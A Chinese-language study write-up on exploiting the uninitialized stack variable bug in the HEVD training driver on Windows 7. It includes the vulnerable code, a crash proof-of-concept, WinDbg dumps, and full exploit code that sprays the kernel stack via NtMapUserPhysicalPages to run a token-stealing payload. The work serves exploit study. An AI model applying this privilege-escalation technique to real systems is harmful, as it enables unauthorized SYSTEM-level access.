Windows-Kernel-Exploit-Study(3)

0x00:

这是HEVD系列中关于栈上变量未初始化的一种利用,在kernel的exploit中,这种情况很少发生,作为一个demo可以体会一下对于这种漏洞的Kernel stack spray的利用方式。在UAF的漏洞中,我们常常使用heap spray的方式去利用,然而Kernel stack spray差不多,不过是提前把数据”喷射”到内核栈,占据未初始化的变量的位置,如果是一个函数指针,那么我们就可以劫持这个函数,调用,去执行shellcode,从而完成提权。

关于环境及工具:
  • windows7 cn x86
  • windbg
  • osrloader

0x01:先来看vuln代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
VOID UninitializedStackVariableObjectCallback() {
PAGED_CODE();

DbgPrint("[+] Uninitialized Stack Variable Object Callback\n");
}

/// <summary>
/// Trigger the Uninitialized Stack Variable Vulnerability
/// </summary>
/// <param name="UserBuffer">The pointer to user mode buffer</param>
/// <returns>NTSTATUS</returns>
NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
ULONG UserValue = 0;
ULONG MagicValue = 0xBAD0B0B0;
NTSTATUS Status = STATUS_SUCCESS;

#ifdef SECURE
// Secure Note: This is secure because the developer is properly initializing
// UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
// the callback
UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};
#else
// Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
// because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure
// before calling the callback when 'MagicValue' does not match 'UserValue'
UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif

PAGED_CODE();

__try {
// Verify if the buffer resides in user mode
ProbeForRead(UserBuffer,
sizeof(UNINITIALIZED_STACK_VARIABLE),
(ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));

// Get the value from user mode
UserValue = *(PULONG)UserBuffer;

DbgPrint("[+] UserValue: 0x%p\n", UserValue);
DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);

// Validate the magic value
// 如果我们传递的UserValue和这个MagicVule相同才会走这里。
if (UserValue == MagicValue) {
UninitializedStackVariable.Value = UserValue;
UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
}

DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);

#ifndef SECURE
DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif

// Call the callback function
//如果前面UserValue和MageValue不一样的时候,callback没被赋值的,直接调用就会出问题。
if (UninitializedStackVariable.Callback) {
UninitializedStackVariable.Callback();
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}

return Status;
}

我们传递一个非MagicValue的值,UninitializedStackVariable.Callback就是一个未定的值,后面直接调用,就可能会直接崩溃。

0x02:调试

设置好win7 kernel调试相关的设置,挂载上驱动。
PoC代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

HANDLE GetDeviceHandle(LPCSTR DeviceName){

HANDLE hDriver = CreateFileA(DeviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
NULL);
return hDriver;
}

int _tmain(int argc, _TCHAR* argv[]) {
ULONG BytesReturned;
HANDLE hFile = NULL;
ULONG MagicValue = 0xBAADF00D;
LPCSTR lpDeviceName = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";

__try {

hFile = GetDeviceHandle(lpDeviceName);

if (hFile == INVALID_HANDLE_VALUE) {
printf("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
printf("\t\t[+] Device Handle: 0x%X\n", hFile);
}
StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,StackSprayBufferSize);
if(!StackSprayBuffer){
printf("Alloc buffer error : 0x%X",GetLastError());
}

DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE,
(LPVOID)&MagicValue,
0,
NULL,
0,
&BytesReturned,
NULL);

HeapFree(GetProcessHeap(),0,(LPVOID)StackSprayBuffer);
//set ptr NULL
StackSprayBuffer = NULL;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
printf("\t\t[-] Exception: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

return 0;
}

Windbg设置后

1
!gflag +soe

为了调试到触发vuln的部分的代码,采用的方式是结合IDA,查看函数的offset,结合HEVD模块的加载基地址,去下断点,断在有漏洞的函数那里。

之后捕获到crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
kd> !gflag +soe
New NtGlobalFlag contents: 0x00000001
soe - Stop On Exception
kd> g
Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00000000 ?? ???
kd> dps esp
9adb9ab0 75abe00b
9adb9ab4 8eff4f94*** ERROR: Module load completed but symbols could not be loaded for HEVD.sys
HEVD+0x4f94
9adb9ab8 1424bcc8
9adb9abc 87c86980
9adb9ac0 87c869f0
9adb9ac4 8eff5ca4 HEVD+0x5ca4
9adb9ac8 83ec88c8 nt!MiExchangeWsle+0x7c
9adb9acc 75abe005
9adb9ad0 0000014f
9adb9ad4 00000000 ----> CallBack函数
9adb9ad8 c080327c
9adb9adc 00433009
9adb9ae0 00000001
9adb9ae4 0000015d
9adb9ae8 9adb9b14
9adb9aec 83ec8a26 nt!MiSwapWslEntries+0x14c
9adb9af0 00433009
9adb9af4 0000014f
9adb9af8 75abe001
9adb9afc 0000014f
9adb9b00 c0802000
9adb9b04 85da5928
9adb9b08 00000001
9adb9b0c 00000059
9adb9b10 00000000
9adb9b14 9adb9b40
9adb9b18 83ec6397 nt!MiUpdateWsle+0x12d
9adb9b1c 0000014f
9adb9b20 0000015d
9adb9b24 85d6d6c0
9adb9b28 0000015d
9adb9b2c 85d6d6c0

可以看到调用了 0x00000000,然而这个地址是个非法地址,所以crash。挺奇怪的是这个时候g命令还可以继续走…所以我又跑了一次PoC。
我第二次运行PoC获得的信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffffdd, memory referenced.
Arg2: 00000001, value 0 = read operation, 1 = write operation.
Arg3: 59477005, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

Debugging Details:
------------------


DUMP_CLASS: 1

DUMP_QUALIFIER: 0

BUILD_VERSION_STRING: 6.1.7600.16385 (win7_rtm.090713-1255)

DUMP_TYPE: 0

BUGCHECK_P1: ffffffffffffffdd

BUGCHECK_P2: 1

BUGCHECK_P3: 59477005

BUGCHECK_P4: 0

WRITE_ADDRESS: ffffffdd

FAULTING_IP:
MSVCR110D!_ioinitCallback+1e5
59477005 0068dd add byte ptr [eax-23h],ch

MM_INTERNAL_CODE: 0

CPU_COUNT: 1

CPU_MHZ: af1

CPU_VENDOR: GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 3c

CPU_STEPPING: 3

CPU_MICROCODE: 6,3c,3,0 (F,M,S,R) SIG: 1E'00000000 (cache) 1E'00000000 (init)

DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT

BUGCHECK_STR: 0x50

PROCESS_NAME: test.exe

CURRENT_IRQL: 2

ANALYSIS_SESSION_HOST: MUHE-PC

ANALYSIS_SESSION_TIME: 02-04-2017 19:46:44.0573

ANALYSIS_VERSION: 10.0.14321.1024 x86fre

TRAP_FRAME: 8d47ea40 -- (.trap 0xffffffff8d47ea40)
ErrCode = 00000002
eax=00000000 ebx=94f53ca4 ecx=0024f9f0 edx=00000065 esi=baadf00d edi=00000000
eip=59477005 esp=8d47eab4 ebp=8d47ebd4 iopl=0 nv up ei pl nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206
MSVCR110D!_ioinitCallback+0x1e5:
59477005 0068dd add byte ptr [eax-23h],ch ds:0023:ffffffdd=??
Resetting default scope

MISALIGNED_IP:
MSVCR110D!_ioinitCallback+1e5
59477005 0068dd add byte ptr [eax-23h],ch

LAST_CONTROL_TRANSFER: from 83ee5e71 to 83e74394

STACK_TEXT:
8d47e58c 83ee5e71 00000003 dbca9caa 00000065 nt!RtlpBreakWithStatusInstruction
8d47e5dc 83ee696d 00000003 86557030 00000000 nt!KiBugCheckDebugBreak+0x1c
8d47e9a0 83e8e8e3 00000050 ffffffdd 00000001 nt!KeBugCheck2+0x68b
8d47ea28 83e4f5f8 00000001 ffffffdd 00000000 nt!MmAccessFault+0x106
8d47ea28 59477005 00000001 ffffffdd 00000000 nt!KiTrap0E+0xdc
8d47ebd4 94f52fe8 0024f9f0 8d47ebfc 94f53219 MSVCR110D!_ioinitCallback+0x1e5
WARNING: Stack unwind information not available. Following frames may be wrong.
8d47ebe0 94f53219 878eb928 878eb998 85d8bf80 HEVD+0x4fe8
8d47ebfc 83e454bc 878bbbb0 878eb928 878eb928 HEVD+0x5219
8d47ec14 84046eee 85d8bf80 878eb928 878eb998 nt!IofCallDriver+0x63
8d47ec34 84063cd1 878bbbb0 85d8bf80 00000000 nt!IopSynchronousServiceTail+0x1f8
8d47ecd0 840664ac 878bbbb0 878eb928 00000000 nt!IopXxxControlFile+0x6aa
8d47ed04 83e4c42a 0000001c 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
8d47ed04 76e464f4 0000001c 00000000 00000000 nt!KiFastCallEntry+0x12a
0024f828 76e44cac 74fda08f 0000001c 00000000 ntdll!KiFastSystemCallRet
0024f82c 74fda08f 0000001c 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0024f88c 76c0ec25 0000001c 0022202f 0024f9f0 KERNELBASE!DeviceIoControl+0xf6
0024f8b8 013e1612 0000001c 0022202f 0024f9f0 kernel32!DeviceIoControlImplementation+0x80
0024fa34 013e1cc9 00000001 00350598 00351ba8 test+0x11612
0024fa84 013e1ebd 0024fa98 76c11174 7ffd4000 test+0x11cc9
0024fa8c 76c11174 7ffd4000 0024fad8 76e5b3f5 test+0x11ebd
0024fa98 76e5b3f5 7ffd4000 76c02850 00000000 kernel32!BaseThreadInitThunk+0xe
0024fad8 76e5b3c8 013e1082 7ffd4000 00000000 ntdll!__RtlUserThreadStart+0x70
0024faf0 00000000 013e1082 7ffd4000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: kb

THREAD_SHA1_HASH_MOD_FUNC: b2a297aada69e6279fdc3daae6f4a22cf686509a

THREAD_SHA1_HASH_MOD_FUNC_OFFSET: 4f005ee17e97a074c7da84fec24b29c43a55219c

THREAD_SHA1_HASH_MOD: c3a8502bd33e9f58cfa688b5c9397c7eefe7acfa

FOLLOWUP_IP:
HEVD+4fe8
94f52fe8 5d pop ebp

FAULT_INSTR_CODE: 8c25d

SYMBOL_STACK_INDEX: 6

SYMBOL_NAME: HEVD+4fe8

FOLLOWUP_NAME: MachineOwner

IMAGE_NAME: hardware

DEBUG_FLR_IMAGE_TIMESTAMP: 0

MODULE_NAME: hardware

FAILURE_BUCKET_ID: IP_MISALIGNED

BUCKET_ID: IP_MISALIGNED

PRIMARY_PROBLEM_CLASS: IP_MISALIGNED

TARGET_TIME: 2017-02-04T11:45:48.000Z

OSBUILD: 7600

OSSERVICEPACK: 16385

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK: 272

PRODUCT_TYPE: 1

OSPLATFORM_TYPE: x86

OSNAME: Windows 7

OSEDITION: Windows 7 WinNt TerminalServer SingleUserTS

OS_LOCALE:

USER_LCID: 0

OSBUILD_TIMESTAMP: 2009-07-14 07:15:19

BUILDDATESTAMP_STR: 090713-1255

BUILDLAB_STR: win7_rtm

BUILDOSVER_STR: 6.1.7600.16385

ANALYSIS_SESSION_ELAPSED_TIME: 2f92

ANALYSIS_SOURCE: KM

FAILURE_ID_HASH_STRING: km:ip_misaligned

FAILURE_ID_HASH: {201b0e5d-db2a-63d2-77be-8ce8ff234750}

Followup: MachineOwner
---------

这里g之后就是直接蓝屏了。

0x03:利用思路

大致的利用思路如下:

  • 布置内核栈
  • 触发漏洞
  • 提权

关于内核栈的布置,使用的是出自j00ru文章的方法,这里直接使用了HEVD的exploit,我只做一点分析。

0x04:Exploit分析

HEVD 里的 Exploit代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
#include "UninitializedStackVariable.h"

VOID ResolveKernelAPIs() {
PCHAR KernelImage;
SIZE_T ReturnLength;
HMODULE hNtDll = NULL;
PVOID HalDispatchTable = NULL;
HMODULE hKernelInUserMode = NULL;
PVOID KernelBaseAddressInKernelMode;
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;

DEBUG_INFO("\t\t[+] Resolving Kernel APIs\n");

hNtDll = LoadLibrary("ntdll.dll");

if (!hNtDll) {
DEBUG_ERROR("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");

if (!NtQuerySystemInformation) {
DEBUG_ERROR("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] NtQuerySystemInformation: 0x%p\n", NtQuerySystemInformation);
}

NtMapUserPhysicalPages = (NtMapUserPhysicalPages_t)GetProcAddress(hNtDll, "NtMapUserPhysicalPages");

if (!NtMapUserPhysicalPages) {
DEBUG_ERROR("\t\t\t[-] Failed Resolving NtMapUserPhysicalPages: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] NtMapUserPhysicalPages: 0x%p\n", NtMapUserPhysicalPages);
}

NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);

// Allocate the Heap chunk
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
ReturnLength);

if (!pSystemModuleInformation) {
DEBUG_ERROR("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

NtStatus = NtQuerySystemInformation(SystemModuleInformation,
pSystemModuleInformation,
ReturnLength,
&ReturnLength);

if (NtStatus != STATUS_SUCCESS) {
DEBUG_ERROR("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;

hKernelInUserMode = LoadLibraryA(KernelImage);

if (!hKernelInUserMode) {
DEBUG_ERROR("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

ZwOpenProcess = (ZwOpenProcess_t)GetProcAddress(hKernelInUserMode, "ZwOpenProcess");

if (!ZwOpenProcess) {
DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwOpenProcess: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
ZwOpenProcess = (ZwOpenProcess_t)((ULONG)ZwOpenProcess - (ULONG)hKernelInUserMode);
ZwOpenProcess = (ZwOpenProcess_t)((ULONG)ZwOpenProcess + (ULONG)KernelBaseAddressInKernelMode);
DEBUG_INFO("\t\t\t[+] ZwOpenProcess: 0x%p\n", ZwOpenProcess);
}

ZwOpenProcessToken = (ZwOpenProcessToken_t)GetProcAddress(hKernelInUserMode, "ZwOpenProcessToken");

if (!ZwOpenProcessToken) {
DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwOpenProcessToken: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
ZwOpenProcessToken = (ZwOpenProcessToken_t)((ULONG)ZwOpenProcessToken - (ULONG)hKernelInUserMode);
ZwOpenProcessToken = (ZwOpenProcessToken_t)((ULONG)ZwOpenProcessToken + (ULONG)KernelBaseAddressInKernelMode);
DEBUG_INFO("\t\t\t[+] ZwOpenProcessToken: 0x%p\n", ZwOpenProcess);
}

ZwDuplicateToken = (ZwDuplicateToken_t)GetProcAddress(hKernelInUserMode, "ZwDuplicateToken");

if (!ZwDuplicateToken) {
DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwDuplicateToken: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
ZwDuplicateToken = (ZwDuplicateToken_t)((ULONG)ZwDuplicateToken - (ULONG)hKernelInUserMode);
ZwDuplicateToken = (ZwDuplicateToken_t)((ULONG)ZwDuplicateToken + (ULONG)KernelBaseAddressInKernelMode);
DEBUG_INFO("\t\t\t[+] ZwDuplicateToken: 0x%p\n", ZwDuplicateToken);
}

PsGetCurrentProcess = (PsGetCurrentProcess_t)GetProcAddress(hKernelInUserMode, "PsGetCurrentProcess");

if (!PsGetCurrentProcess) {
DEBUG_ERROR("\t\t\t[-] Failed Resolving PsGetCurrentProcess: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
PsGetCurrentProcess = (PsGetCurrentProcess_t)((ULONG)PsGetCurrentProcess - (ULONG)hKernelInUserMode);
PsGetCurrentProcess = (PsGetCurrentProcess_t)((ULONG)PsGetCurrentProcess + (ULONG)KernelBaseAddressInKernelMode);
DEBUG_INFO("\t\t\t[+] PsGetCurrentProcess: 0x%p\n", PsGetCurrentProcess);
}

ZwSetInformationProcess = (ZwSetInformationProcess_t)GetProcAddress(hKernelInUserMode, "ZwSetInformationProcess");

if (!ZwSetInformationProcess) {
DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwSetInformationProcess: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
ZwSetInformationProcess = (ZwSetInformationProcess_t)((ULONG)ZwSetInformationProcess - (ULONG)hKernelInUserMode);
ZwSetInformationProcess = (ZwSetInformationProcess_t)((ULONG)ZwSetInformationProcess + (ULONG)KernelBaseAddressInKernelMode);
DEBUG_INFO("\t\t\t[+] ZwSetInformationProcess: 0x%p\n", ZwSetInformationProcess);
}

ZwClose = (ZwClose_t)GetProcAddress(hKernelInUserMode, "ZwClose");

if (!ZwClose) {
DEBUG_ERROR("\t\t\t[-] Failed Resolving ZwClose: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
ZwClose = (ZwClose_t)((ULONG)ZwClose - (ULONG)hKernelInUserMode);
ZwClose = (ZwClose_t)((ULONG)ZwClose + (ULONG)KernelBaseAddressInKernelMode);
DEBUG_INFO("\t\t\t[+] ZwClose: 0x%p\n", ZwClose);
}

HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);

if (hNtDll) {
FreeLibrary(hNtDll);
}

if (hKernelInUserMode) {
FreeLibrary(hKernelInUserMode);
}

hNtDll = NULL;
hKernelInUserMode = NULL;
pSystemModuleInformation = NULL;
}

DWORD WINAPI UninitializedStackVariableThread(LPVOID Parameter) {
UINT32 i = 0;
ULONG BytesReturned;
HANDLE hFile = NULL;
ULONG MagicValue = 0xBAADF00D;
PULONG StackSprayBuffer = NULL;
LPCSTR FileName = (LPCSTR)DEVICE_NAME;
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
PVOID EopPayload = &TokenStealingPayloadDuplicateToken;
SIZE_T StackSprayBufferSize = 1024 * sizeof(ULONG_PTR);

__try {
DEBUG_MESSAGE("\t[+] Setting Thread Priority\n");

if (!SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST)) {
DEBUG_ERROR("\t\t[-] Failed To Set As THREAD_PRIORITY_HIGHEST\n");
}
else {
DEBUG_INFO("\t\t[+] Priority Set To THREAD_PRIORITY_HIGHEST\n");
}

// Get the device handle
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n");
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName);

hFile = GetDeviceHandle(FileName);

if (hFile == INVALID_HANDLE_VALUE) {
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile);
}

DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n");

DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n");

StackSprayBuffer = (PULONG)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
StackSprayBufferSize);

if (!StackSprayBuffer) {
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
else {
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", StackSprayBuffer);
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", StackSprayBufferSize);
}

DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n");

//填充buffer
for(i = 0; i < StackSprayBufferSize / sizeof(ULONG_PTR); i++) {
StackSprayBuffer[i] = (ULONG)EopPayload;
}

DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload);
//找到NtMapUserPhysicalPages API的地址,后面要调用
ResolveKernelAPIs();

DEBUG_INFO("\t\t[+] Spraying the Kernel Stack\n");
DEBUG_MESSAGE("\t[+] Triggering Use of Uninitialized Stack Variable\n");

OutputDebugString("****************Kernel Mode****************\n");

// HackSys Extreme Vulnerable driver itself provides a decent interface
// to spray the stack using Stack Overflow vulnerability. However, j00ru
// on his blog disclosed a Windows API that can be used to spray stack up to
// 1024*sizeof(ULONG_PTR) bytes (http://j00ru.vexillium.org/?p=769). Since,
// it's a Windows API and available on Windows by default, I decided to use
// it instead of this driver's Stack Overflow interface.
//喷射kernel stack
NtMapUserPhysicalPages(NULL, 1024, StackSprayBuffer);

// Kernel Stack should not be used for anything else as it
// will corrupt the current sprayed state. So, we will directly
// trigger the vulnerability without putting any Debug prints.
//触发漏洞
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE,
(LPVOID)&MagicValue,
0,
NULL,
0,
&BytesReturned,
NULL);

OutputDebugString("****************Kernel Mode****************\n");

HeapFree(GetProcessHeap(), 0, (LPVOID)StackSprayBuffer);

StackSprayBuffer = NULL;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}

return EXIT_SUCCESS;
}

0x05: 参考

HEVD Kernel Exploitation – Uninitialized Stack & Heap By k0shl
nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques